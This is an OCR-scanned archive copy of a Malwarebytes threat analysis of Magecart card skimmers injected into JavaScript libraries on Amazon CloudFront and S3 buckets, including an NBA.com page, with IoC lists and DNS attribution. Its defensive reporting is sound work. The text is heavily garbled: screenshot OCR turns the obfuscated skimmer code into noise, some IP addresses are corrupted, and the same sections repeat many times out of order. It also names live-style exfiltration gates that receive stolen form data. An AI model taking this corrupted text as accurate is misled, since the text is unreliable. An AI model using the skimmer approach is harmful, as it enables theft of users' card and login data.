https://blog.malwarebytes.com /threat-analysis /2019 /06 /magecart-skimmers-found-on-amazon-cloudfront-cdn/

Magecart skimmers found on Amazon CloudFront CDN

By Jérome Segura

Published: 2019-06-03 - Archived: 2026-04-05 20:45:24 UTC

lo | @] 32 |

@ Wayback Machine * +
“— & @ https://web.archive.org/web/201905... % &
[https:/icloudfront. [[Go] "

37 captures

17 May 2019 - 30 May 2019 LU

1i").slice(8).hide(), cuntD1vLe55 stj..rle display="none",contDivMore
.style.display="block" ) }@<document.queryselectorAll{".Recipe_arti

cle "+aId).length&&getMoreOrLessCont("","","onload",ald);

var _@xl19fs=

[ AHELAKST WIS ARTE \ 52\ x58\ xda \ x40\ x5a \ S 7 \ e C\xBe \ kBl \ 4B\ 51 \x3
L ABLA AT NGO\ XTI RE L\ KB\ T \NTE \ B 2\ B\ 52\ 6B \ k6 2 \ x4 1\ x3dh,

x-J*d‘ "\x52\x6d\ xEefte http~ ,r",u"funt—asseb com/img | pdix3d’, " \x59\x32
‘\.xEE\x?‘QKxEEKﬁEK prrnaxed \x6c\ k38 \ w61 \x

5?&){46‘1}(?31){51\:{58\1{:?‘9Kxﬁc\anixﬂ-l‘txidiﬁd t L e\ k5T KI5 \xeb\x5a
WEThASa T\ a2\ xed\ w56 \xEbh ", "\ x5a Kx581x68kx??‘\.x521133\x4aKxBEI"o:

=@ 2 ]

@ Wayback Machine x +
<« C @ https://web.archive.org/web/2019052... ¥ e :
nttps:/icloudfront. |[Go ] A7F
37 captures

17 May 2079 - 30 May 2018 FARD b

splay="block™):"less"==operation& (E ("4 "+id+"
1i").slice(8).hide(),contDiviLess.style.display="none",contDivMore
.style.display="block" ) }@<document.queryselectorall{" .Recipe_arti
cle "+aId)}.length&&getMoredrLessCont("","","onload" ,ald);

var _awisle=
[ R CPAVERAVETAVE LV CERS LWAL ES R CEAS SRS E PR ST R AN T DS A ]

s AMB2AMIZNNIS N HT O\ N5\ KNS T e\ mEh \ B 5\ k58 \ nde\ 3B\ WS\ K5 B\ NE2
x'E": W58\M3 2168 Y http’: ,Uccln |r1'|gc|ouc| com/imE EhRsEht At
5\ B\ kA T xdE e DT\ KE S WA T,
XTE\NBC\ K64\ A7\ 55 \x3d ", ‘\xﬁ_’:\x32‘1x561xSEJKxSBKxS?KxBE\xi@115.3Kx5
et w325\ ET T T 3d Y, e\ ed \ KSR\ KT T A RE 2\ a7 id B\ xBah w5ah
X5k 3dh\x3d ", AREA 4 7 A REE T \ e\ x4\ 3d\x3d ', T \RE 2\ A T\ RERARTE

A o TR o TIPS ok TR TR ol | Ti.oratb..rol ccaboorml cor3icca b ooreiooore 1 L ot . T T B R |

A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:307
Registrar: Shinjiru Technology Sdn Bhd
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Name Server: NS1.CARBON2U.COM
Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
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Indicators of Compromise (IoCs)
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the

exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the
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criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form
instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
CDN s they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent
supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]Jcom) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS1.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com

o8 %

£E345114.8.162 $£245114.8.163

~ 7
at s
~

pcdn—imgcloud.com
- TQASN 55933
451148150 1 - /

-

a / | E25.1148.160
e '

— IN\\‘H E945.114.8.161
i+ |

ww 1-filecloud.com |—Ofgnt_355et5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.

== =
P Washington Wizards | The Offic: X +
C @ nhttps//www.nba.com/wizards/ w 6
fﬂ - -
CNBA GLOBAL  TEAMSY  GLEAGUE  WNBA  NBASTORE  NBA LEAGUEPASS

FRESENTED BY capi;;m
Team Tickets  Schedule  Multimedia  Community News  More B3 O Q

Fans

WATCHLIVE - i“weLi=—

GetMonumental.com MYSTICS GAMES'I Wizards Dancers

@ DevTools - www.nba.com/wizards/ = -m

[ ﬂ Elements  Console  Sources Network Performance Memory  Application Security Audits 011 44
Page » it [ wizardsjs wizards.js:formatted X [0
» O raw.githubusercont * | 1691 -

¥ C5 52.amazonaws.com S e xssdsic - o Exfiltration gate: https://wix-cloud.com/img

- wsaimages/js 172 | IBR5563E[_Bx551F('8x16")] = 'fx68'\74 T4\ x78\ K73 38 \K2F\ X2 F KT T\ X6 9\ %78\ x2d \ 63\ X6 C 6 F AT 5\ k64K
1 _@x55d63c M hxdd B\ xT 4B ] = {};

wizardsjs _@x55d63c[_ex5s51F(" = [1;
» ¢ secure.adnys.com _@x55d63c[_Bx551F(" = I[1;
1 @x55d63c[_Bx551F("8x19")] = function(_@xdel3de) {

L+ X t X - . - . . - . .

O securequantsenee i ( Gwdel3fe.id !== undefined 88 Gxfel3De.id = '' 38 _Owdel3fe.id l== null 88 _@xdel3fe.value
ro securepubads.g.dot 178 if ( @xfbb64bl @x2bd6f7( @x2bd6f7( @xdeldfe.value. '‘x2d'. '"Y. '\x28'. '')} &R @x395249( @ 7
» O smetrics.nba.com 179 4 b
» (Y srv-2019-06-09-04, AV GTAVIEAVEEAV RV EEVE WV VeV eV TS R el VRV T e GVl RV M |'\ A | Aa .” Cancel
» ™ svnc.ecal.com v

4 » 9 characters selected

The skimmer was inserted in this JavaScript library:

hxxps://s3[.]amazonaws[ . Jcom/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNs are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form
instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.
Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS1.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
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Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.

Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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The skimmer was inserted in this JavaScript library:

hxxps://s3[.]amazonaws[.]com/wsaimages/js/wizards[.]js

Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.
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Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNs are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)
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Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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The skimmer was inserted in this JavaScript library:

hxxps://s3[.]Jamazonaws[ . ]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNs are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form
instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.
Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

